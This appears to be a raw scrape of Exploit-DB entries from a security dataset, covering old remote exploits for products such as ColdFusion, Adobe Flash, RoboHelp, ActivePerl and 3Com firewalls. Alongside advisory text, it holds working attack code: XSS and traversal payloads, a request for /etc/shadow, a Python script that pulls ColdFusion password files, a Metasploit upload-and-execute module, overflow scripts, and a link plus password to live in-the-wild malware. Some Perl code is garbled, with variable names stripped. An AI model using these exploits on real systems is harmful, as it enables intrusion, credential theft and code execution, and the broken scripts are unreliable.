deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24253
Description: 12Planet Chat Server 2.9 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2004-07-05
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/10659/info

It is reported that 12Planet Chat Server is prone to a cross-site scripting vulnerability. This issue is due to a lack of sanitization of user-supplied data.

The problem presents itself when malicious HTML or script code is passed in a URI argument to one of the servlets in the application.

A remote attacker can exploit this issue by creating a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed by an unsuspecting user, the hostile code may be rendered in the their web browser. This would occur in the security context of the web server and may allow for theft of cookie-based authentication credentials or other attacks.

Although version 2.9 of the software was reported vulnerable, other versions may also be affected.

http://www.example.com:8080/servlet/one2planet.infolet.InfoServlet?page=<script>alert("hy")</script>
Exploit-DB #24984
Description: 2Fax 3.0 Tab Expansion - Remote Buffer Overflow
Type: remote
Platform: multiple
Date: 2004-12-15
Author: Ariel Berkman

Exploit:
source: https://www.securityfocus.com/bid/11980/info

2fax is prone to a buffer overflow vulnerability. This issue is exposed when the software performs tab expansion operations while converting files. Since files may originate from an external or untrusted source, this issue is considered remote in nature.

Successful exploitation will result in execution of arbitrary code in the context of the user running the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24984.zip
Exploit-DB #13588
Description: 2^6 TCP Control Bit - Fuzzer (No ECN or CWR)
Type: remote
Platform: multiple
Date: 2010-01-11
Author: ShadowHatesYou

Exploit:
#!/usr/bin/perl
#
# 2^6 TCP Control Bit Fuzzer (No ECN or CWR)
#
# This code was written originally as a control bit fuzzer for the JunOS 3-9 crash mentioned 
# in PSN-2010-01-623 and http://www.securityfocus.com/news/11571
# However it will also be useful in fuzzing future IP stacks, such as userland IP stacks or
# embedded systems.
#
# Originally it was was going to be the full 2^8, however Net::RawIP does't support the ECE
# or the CWR bit, so I've got a Metasploit auxillery in the works to cover the full 2^8.
#
# I've left the ece/cwr portions commented out, so if in the future Net::RawIP supports these bits,
# all you need to do is uncomment them and change the 65 in the for loop to a 256.
#
# Written by Shadow, 1/08/2010
# ShadowHatesYou @ irc.freenode.net #remote-exploit

use Net::RawIP;

# Set the packet's payload. Shellcode could go here....
my $data = "Die!";

if ($ARGV[1] eq '') { print "Usage: ./" . $0 . " <ip> <port> <optionalsourceip>\n"; exit(0); }
if ($ARGV[2] eq '') { my $src_ip = "72.52.4.181" } else { my $src_ip = $ARGV[2]; }

my $packet = new Net::RawIP({tcp=>{}});
$packet->set({
	ip => {
		saddr => $src_ip,
		daddr => $ARGV[0],
		id => 666
	}
});
# Build packet $i with TCP control options $i
for (my $i=0; $i < 64; $i++) {
	my $packet = new Net::RawIP({tcp=>{}});
	# Get our options
	my $binary = sprintf("%b", $i);
	my @bits = split(//, $binary);
	# Set the source and destination IP	
	$packet->set({		
		tcp => {
			source => $ARGV[1],
			dest => $ARGV[1],
			data => $data,
			syn => @bits[0],
			ack => @bits[1],
			fin => @bits[2],
			rst => @bits[3],
			psh => @bits[4],
			urg => @bits[5],
#			cwr => @bits[6],
#			ece => @bits[7]
		}
	});
	# Packets away.
	print "Sending packet "	. ($i + 1) . " to " . $ARGV[0] . ":" .$ARGV[1] . "	Bits: bits\n";
	$packet->send;
}
exit(0);
Exploit-DB #22327
Description: 3Com SuperStack 3 Firewall - Content Filter Bypassing
Type: remote
Platform: multiple
Date: 2003-03-05
Author: bit_logic

Exploit:
source: https://www.securityfocus.com/bid/7021/info

A vulnerability has been reported in the 3Com Superstack 3 Firewall. HTTP content filters put in place by the device fail to assemble fragmented data, potentially allowing an attacker to access unauthorized web sites.

An attacker could exploit this vulnerability by connecting a web server using a protocol in which data is fragmented when transferred.

Although unconfirmed, it is possible that this issue also affects other HTTP content filters. 

telnet www.blockedsite.com 80

GET / HTTP/1.1
Host: www.blockedsite.com
Exploit-DB #31921
Description: 3D-FTP 8.01 - 'LIST' / 'MLSD' Directory Traversal
Type: remote
Platform: multiple
Date: 2008-06-16
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/29749/info

3D-FTP is prone to multiple directory-traversal vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues allows an attacker to write arbitrary files to locations outside of the FTP client's current directory. This could help the attacker launch further attacks.

3D-FTP 8.01 is vulnerable; other versions may also be affected. 

The following example responses are available:
Response to LIST (backslash):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 \..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to LIST (forward-slash):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 /../../../../../../../../../testfile.txt\r\n

Response to LIST (combination):
-rw-r--r-- 1 ftp ftp 20 Mar 01 05:37 ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n

Response to MLSD (backslash):
type=file;modify=[PII_REDACTED]4710;size=20; \..\..\..\..\..\..\..\..\..\testfile.txt\r\n

Response to MLSD (forward-slash):
type=file;modify=[PII_REDACTED]4710;size=20; /../../../../../../../../../testfile.txt\r\n

Response to MLSD (combination):
type=file;modify=[PII_REDACTED]4710;size=20; ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n
Exploit-DB #32167
Description: 8E6 Technologies R3000 - Host Header Internet Filter Security Bypass
Type: remote
Platform: multiple
Date: 2008-08-05
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/30541/info

8e6 Technologies R3000 Internet Filter is prone to a vulnerability that allows attackers to bypass URI filters.

Attackers can exploit this issue by sending specially crafted HTTP request packets for an arbitrary website. Successful exploits allow attackers to view sites that the device is meant to block. This could aid in further attacks.

R3000 Internet Filter 2.0.12.10 is vulnerable; other versions may also be affected.

The following example requests are available:

GET / HTTP/1.0
X-DecoyHost: www.allowed.org
Host: www.blocked.org

GET / HTTP/1.0
X-Decoy: Host: www.allowed.org
Host: www.blocked.org
Exploit-DB #25019
Description: ABC2MIDI 2004-12-04 - Multiple Stack Buffer Overflow Vulnerabilities
Type: remote
Platform: multiple
Date: 2004-12-15
Author: Limin Wang

Exploit:
source: https://www.securityfocus.com/bid/12019/info

It is reported that abc2midi is susceptible to two stack buffer overflow vulnerabilities. These issues are due to a failure of the application to properly bounds check user-supplied image data prior to copying it into fixed-size memory buffers.

These vulnerabilities allow remote attackers to alter the proper flow of execution of the application, potentially resulting in the execution of attacker-supplied machine code in the context of the application attempting to read malicious ABC files. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25019-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25019-2.zip
Exploit-DB #25018
Description: ABC2MTEX 1.6.1 - Process ABC Key Field Buffer Overflow
Type: remote
Platform: multiple
Date: 2004-12-15
Author: Limin Wang

Exploit:
source: https://www.securityfocus.com/bid/12018/info

abc2mtex is prone to a buffer overflow vulnerability. This issue is exposed when the program is used to convert ABC music notation files to MTEX format. In particular, the issue is due to insufficient bounds checking of key data in ABC notation files. Since the ABC files may originate from an external or untrusted source, this issue is considered remote in nature.

Successful exploitation will result in execution of arbitrary code in the context of the user running the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25018.zip
Exploit-DB #32382
Description: Accellion File Transfer Appliance Error Report Message - Open Email Relay
Type: remote
Platform: multiple
Date: 2008-09-15
Author: Eric Beaulieu

Exploit:
source: https://www.securityfocus.com/bid/31178/info

Accellion File Transfer Appliance is prone to an open-email-relay vulnerability.

An attacker could exploit this issue by constructing a script that would send unsolicited spam to an unrestricted amount of email addresses from a forged email address.

This issue affects Accellion File Transfer Appliance prior to FTA_7_0_189.

https://www.example.com/courier/1000@/api_error_email.html?id=1002K725PI-888-100Test_SPAM <H1>SPAM_ATTACK</H1> HTTP HEADER: Host: [Accelion web server] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv: 1.9.0.1) Gecko/[PII_REDACTED] Firefox/3.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://[Accelion web server]/courier/1000@/api_error_email.html?id=1002K725PI-888-100Test_SPAM <H1>SPAM_ATTACK</H1> Content-Type: application/x-www-form-urlencoded Content-Length: 131 POST DATA: description=Could+you+please+close+this+tickets%0D%0A%0D%0ARegards&client_email=email_to_spam% 40victim_domain.com&submit=Soumettre+le+rapport
Exploit-DB #20894
Description: Acme.Serve 1.7 - Arbitrary File Access
Type: remote
Platform: multiple
Date: 2001-05-31
Author: Adnan Rahman

Exploit:
source: https://www.securityfocus.com/bid/2809/info

Acme.Serve is a free, open-source, embeddable webserver written in Java. It is small, is intended to provide minimal functionality, and is fully compatible with JavaServer.

Acme.Serve 1.7 comes with a webserver that listens on port 9090. This webserver allows clients to browse the filesystem. By default, this webserver is enabled and accessible by any remote host on the Internet.

If an attacker were to connect, they could view possibly sensitive information.


http://potentialvictim:9090//etc/shadow to view '/etc/shadow'.
Exploit-DB #21154
Description: ActivePerl 5.6.1 - 'perlIIS.dll' Remote Buffer Overflow (3)
Type: remote
Platform: multiple
Date: 2001-11-15
Author: Sapient2003

Exploit:
source: https://www.securityfocus.com/bid/3526/info
  
ActivePerl is an implementation of the Perl scripting language for Microsoft Windows systems developed by Activestate. ActivePerl allows for high-performance integration with IIS using a DLL called 'perlIIS.dll' to handle a '.plx' ISAPI extension.
  
perlIIS.dll contains a remotely exploitable buffer overflow vulnerability in handling of the URL string. It is due to an unbounded string copy operation.
  
All versions of ActivePerl prior to build 630 of ActivePerl 5.6.1 are believed to be vulnerable. This vulnerability requires that the option "Check that file exists" be disabled. This option is enabled by default.
  
Exploitation of this vulnerability may allow for remote attackers to gain access to the target server.

#!/usr/bin/perl -w

use IO::Socket;

 = "ActivePerl 5.6.1.629";

unless (@ARGV == 1) {
  print "\n Exploit by Sapient2003\n";
  die "usage: -bash <host to exploit>\n";
}
print "\n Exploit by Sapient2003\n";

 = "A" x 360;
 = "GET /.pl HTTP/1.0\n\n";

 = IO::Socket::INET->new(
        PeerAddr => [0],
        PeerPort => 80,
        Proto    => "tcp",
) or die "Can't find host [0]\n";
print  ;
print "Attempted to exploit [0]...\n";
close();
Exploit-DB #14641
Description: Adobe ColdFusion - Directory Traversal
Type: remote
Platform: multiple
Date: 2010-08-14
Author: anonymous

Exploit:
# Working GET request courtesy of carnal0wnage:
# http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
#
# LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm"


#!/usr/bin/python

# CVE-2010-2861 - Adobe ColdFusion Unspecified Directory Traversal Vulnerability
# detailed information about the exploitation of this vulnerability:
# http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/

# leo 13.08.2010

import sys
import socket
import re

# in case some directories are blocked
filenames = ("/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm", "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/enter.cfm")

post = """POST %s HTTP/1.1
Host: %s
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: %d

locale=%%00%s%%00a"""

def main():
    if len(sys.argv) != 4:
        print "usage: %s <host> <port> <file_path>" % sys.argv[0]
        print "example: %s localhost 80 ../../../../../../../lib/password.properties" % sys.argv[0]
        print "if successful, the file will be printed"
        return
    
    host = sys.argv[1]
    port = sys.argv[2]
    path = sys.argv[3]

    for f in filenames:
        print "------------------------------"
        print "trying", f

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, int(port)))
        s.send(post % (f, host, len(path) + 14, path))

        buf = ""
        while 1:
            buf_s = s.recv(1024)
            if len(buf_s) == 0:
                break
            buf += buf_s
       
        m = re.search('<title>(.*)</title>', buf, re.S)
        if m != None:
            title = m.groups(0)[0]
            print "title from server in %s:" % f
            print "------------------------------"
            print m.groups(0)[0]
            print "------------------------------"

if __name__ == '__main__':
    main()
Exploit-DB #27636
Description: Adobe Document Server 6.0 Extensions - 'ads-readerext?actionID' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2006-04-13
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/17500/info

Adobe Document Server for Reader Extensions, included with Graphics Server and Document Server, is prone to multiple vulnerabilities that may allow remote attackers to:

- perform cross-site scripting attacks
- gain access to potentially sensitive information
- bypass security restrictions to gain administrative access to the application.

Adobe Document Server for Reader Extensions version 6.0, included with Adobe Graphics Server 2.1 and Adobe Document Server 6.0, is vulnerable; other versions may also be affected.

http://www.example.com:8019/ads-readerext/ads-readerext?actionID=[code]
Exploit-DB #27637
Description: Adobe Document Server 6.0 Extensions - 'AlterCast?op' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2006-04-13
Author: Tan Chew Keong

Exploit:
source: https://www.securityfocus.com/bid/17500/info
 
Adobe Document Server for Reader Extensions, included with Graphics Server and Document Server, is prone to multiple vulnerabilities that may allow remote attackers to:
 
- perform cross-site scripting attacks
- gain access to potentially sensitive information
- bypass security restrictions to gain administrative access to the application.
 
Adobe Document Server for Reader Extensions version 6.0, included with Adobe Graphics Server 2.1 and Adobe Document Server 6.0, is vulnerable; other versions may also be affected.

http://www.example.com:8019/altercast/AlterCast?op=[code]
Exploit-DB #39631
Description: Adobe Flash - Object.unwatch Use-After-Free
Type: remote
Platform: multiple
Date: 2016-03-29
Author: Google Security Research

Exploit:
Sources: 
https://bugs.chromium.org/p/project-zero/issues/detail?id=716
https://googleprojectzero.blogspot.ca/2016/03/life-after-isolated-heap.html

The bug is an uninitialized variable in the fix to an ActionScript 2 use-after-free bug. Roughly 80 of these types of issues have been fixed by Adobe in the past year, and two uninitialized variable issues were introduced in the fixes. 

 This issue is fairly easy to reproduce, a proof-of-concept for this issue in its entirety is:

  var o = {};
 o.unwatch();

 The bug occurs because the use-after-free check in the unwatch method attempts to convert its first parameter to a string by calling toString on it before continuing with the part of the method where toString  could cause problems by freeing an object. However, Flash does not check that this parameter exists before calling toString on it. In pseudo-code, the rough behaviour of this method is:

  void* args = alloca( args_size );
 for( int i = 0; i < args_size; i++){
  // Init args
 }

 if ( ((int) args[0]) & 6 == 6 )
  args[0] = call_toString( args[0] );

 if ( args_size < 1)
  exit();


Exploit:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39631.zip
Exploit-DB #13787
Description: Adobe Flash / Reader - Live Malware
Type: remote
Platform: multiple
Date: 2010-06-09
Author: anonymous

Exploit:
# Exploit-DB Note - Live POC originally found at http://qoop.org/security/poc/cve-2010-1297/

# File is malicious! Taken from the wild! Beware!
# To decrypt the file:
# openssl aes-256-cbc -d -a -in adobe-0day-2010-1297.tar.enc -out adobe-0day-2010-1297.tar
# Password is "edb" without the quotes.

NOTE: This was taken out of live malware and was not modified. BEWARE.

By visiting the following link, you agree that you are responsible for any damages that occur.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/13787.tar.enc (adobe-0day-2010-1297.tar.enc)
Exploit-DB #30288
Description: Adobe Flash Player 8.0.24 - '.SWF' File Handling Remote Code Execution
Type: remote
Platform: multiple
Date: 2007-07-10
Author: Stefano DiPaola

Exploit:
source: https://www.securityfocus.com/bid/24856/info

Adobe Flash Player is prone to a remote code-execution vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue by tricking an unsuspecting victim into opening a malicious file.

A successful exploit will result in the execution of arbitrary attacker-supplied code in the context of the victim running the vulnerable application.

Adobe Flash Player 9.0.45.0 and earlier, 8.0.34.0 and earlier, and 7.0.69.0 and earlier are affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30288.zip
Exploit-DB #30905
Description: Adobe Flash Player 8.0.34.0/9.0.x - 'main.swf?baseurl' asfunction: Protocol Handler Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2007-12-18
Author: Rich Cannings

Exploit:
source: https://www.securityfocus.com/bid/26949/info

Adobe Flash Player is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/main.swf?baseurl=asfunction:getURL,javascript:alert(1)//
Exploit-DB #16789
Description: Adobe RoboHelp Server 8 - Arbitrary File Upload / Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: adobe_robohelper_authbypass.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute',
			'Description'    => %q{
					This module exploits an authentication bypass vulnerability which
				allows remote attackers to upload and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11127 $',
			'Platform'       => 'win',
			'Privileged'     => true,
			'References'     =>
				[
					[ 'CVE', '2009-3068' ],
					[ 'OSVDB', '57896'],
					[ 'URL', 'http://www.intevydis.com/blog/?p=69' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-066' ],
				],
			'Targets'        =>
				[
					[ 'Universal Windows Target',
						{
							'Arch'     => ARCH_JAVA,
							'Payload'  =>
								{
									'DisableNops' => true,
								},
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Sep 23 2009'
		))

		register_options( [ Opt::RPORT(8080) ], self.class )
	end

	def exploit

		page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"
		uid  = rand(20).to_s

		file =  "-----------------------------#{uid}\r\n"
		file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
		file << "Content-Type: application/x-java-archive\r\n\r\n"
		file << payload.encoded
		file << "\r\n"

		print_status("Sending our POST request...")

		res = send_request_cgi(
			{
				'uri'		=> '/robohelp/server?PUBLISH=' + uid,
				'version'	=> '1.1',
				'method'	=> 'POST',
				'data'		=> file,
				'headers'	=>
					{
						'Content-Type'		=> 'multipart/form-data; boundary=---------------------------' + uid,
						'UID'			=> uid,
					}
			}, 5)

		if ( res and res.message =~ /OK/ )
			id = res['sessionid'].to_s.strip

			print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
			data = send_request_raw({
					'uri'		=> '/robohelp/robo/reserved/web/' + id + '/' + page ,
					'method'	=> 'GET',
					'version'	=> '1.0',
			}, 5)

			handler
		else
			print_error("No SESSIONID acquired...")
			return
		end
	end
end
Exploit-DB #10093
Description: Adobe Shockwave Player 11.5.1.601 - Multiple Code Executions
Type: remote
Platform: multiple
Date: 2009-11-04
Author: Francis Provencher

Exploit:
<html>

<object classid='clsid:233C1507-6A77-46A4-9443-F871F945D258' id='ShockW'></object>
<script language='vbscript'>

argCount = 1

arg1=String(2097152, "A")

ShockW.PlayerVersion = arg1

</script>
Exploit-DB #23230
Description: Adobe SVG Viewer 3.0 - 'postURL'/'getURL' Restriction Bypass
Type: remote
Platform: multiple
Date: 2003-10-07
Author: GreyMagic Software

Exploit:
source: https://www.securityfocus.com/bid/8785/info

Adobe SVG Viewer (ASV) is prone to an issue in the implementation of the getURL() and postURL() methods. These methods are designed to prevent access to URIs in a foreign domain or local files. However, by using a redirect when calling these methods, it is possible to bypass these restrictions. This could be exploited to read local or remote files, potentially exposing sensitive information and allowing for theft of cookie-based authentication credentials. The attack vectors may vary depending on whether the viewer is operating on its own or used as a plug-in for Internet Explorer (or other browsers).

ASV 3.0 and prior are reported to be prone to this vulnerability. 

getURL(
"rd.asp",
function (oResponse) {
parent.alert(oResponse.content);
}
);